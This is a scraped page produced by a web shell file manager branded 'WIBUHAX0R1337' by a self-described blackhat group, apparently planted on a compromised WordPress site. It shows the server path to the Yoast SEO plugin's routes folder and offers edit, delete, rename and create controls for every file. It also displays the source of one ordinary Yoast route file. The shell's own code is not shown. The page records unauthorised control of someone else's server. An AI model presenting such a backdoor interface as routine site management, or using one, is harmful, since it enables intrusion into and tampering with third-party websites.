-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
rohihbs.com
/
wp-content
/
plugins
/
wordpress-seo
/
src
/
routes
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
abstract-action-route.php
0.619KB
Edit File
Delete File
Rename
abstract-indexation-route.php
0.879KB
Edit File
Delete File
Rename
alert-dismissal-route.php
2.329KB
Edit File
Delete File
Rename
endpoint-interface.php
0.432KB
Edit File
Delete File
Rename
first-time-configuration-route.php
8.061KB
Edit File
Delete File
Rename
importing-route.php
4.068KB
Edit File
Delete File
Rename
indexables-head-route.php
2.393KB
Edit File
Delete File
Rename
indexing-route.php
12.33KB
Edit File
Delete File
Rename
integrations-route.php
2.188KB
Edit File
Delete File
Rename
meta-search-route.php
1.951KB
Edit File
Delete File
Rename
route-interface.php
0.261KB
Edit File
Delete File
Rename
semrush-route.php
6.257KB
Edit File
Delete File
Rename
supported-features-route.php
1.279KB
Edit File
Delete File
Rename
wincher-route.php
8.75KB
Edit File
Delete File
Rename
workouts-route.php
3.099KB
Edit File
Delete File
Rename
yoast-head-rest-field.php
5.795KB
Edit File
Delete File
Rename
<?php namespace Yoast\WP\SEO\Routes; use WP_REST_Request; use WP_REST_Response; use Yoast\WP\SEO\Conditionals\No_Conditionals; use Yoast\WP\SEO\Main; /** * Meta_Search_Route class */ class Meta_Search_Route implements Route_Interface { use No_Conditionals; /** * Represents meta search route. * * @var string */ public const META_SEARCH_ROUTE = '/meta/search'; /** * Registers routes with WordPress. * * @return void */ public function register_routes() { $route = [ [ 'methods' => 'GET', 'callback' => [ $this, 'search_meta' ], 'permission_callback' => [ $this, 'permission_check' ], ], ]; \register_rest_route( Main::API_V1_NAMESPACE, self::META_SEARCH_ROUTE, $route ); } /** * Performs the permission check. * * @param WP_REST_Request $request The request. * * @return bool */ public function permission_check( $request ) { if ( ! isset( $request['post_id'] ) ) { return false; } $post_type = \get_post_type( $request['post_id'] ); $post_type_object = \get_post_type_object( $post_type ); return \current_user_can( $post_type_object->cap->edit_posts ); } /** * Searches meta fields of a given post. * * @param WP_REST_Request $request The REST request. * * @return WP_REST_Response */ public function search_meta( $request ) { $post_id = $request['post_id']; $query = $request['query']; $meta = \get_post_custom( $post_id ); $matches = []; foreach ( $meta as $key => $values ) { if ( \substr( $key, 0, \strlen( $query ) ) !== $query ) { continue; } if ( empty( $query ) && \substr( $key, 0, 1 ) === '_' ) { continue; } // Skip custom field values that are serialized. if ( \is_serialized( $values[0] ) ) { continue; } $matches[] = [ 'key' => $key, 'value' => $values[0], ]; if ( \count( $matches ) >= 25 ) { break; } } return \rest_ensure_response( [ 'meta' => $matches ] ); } }
Save!!!
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat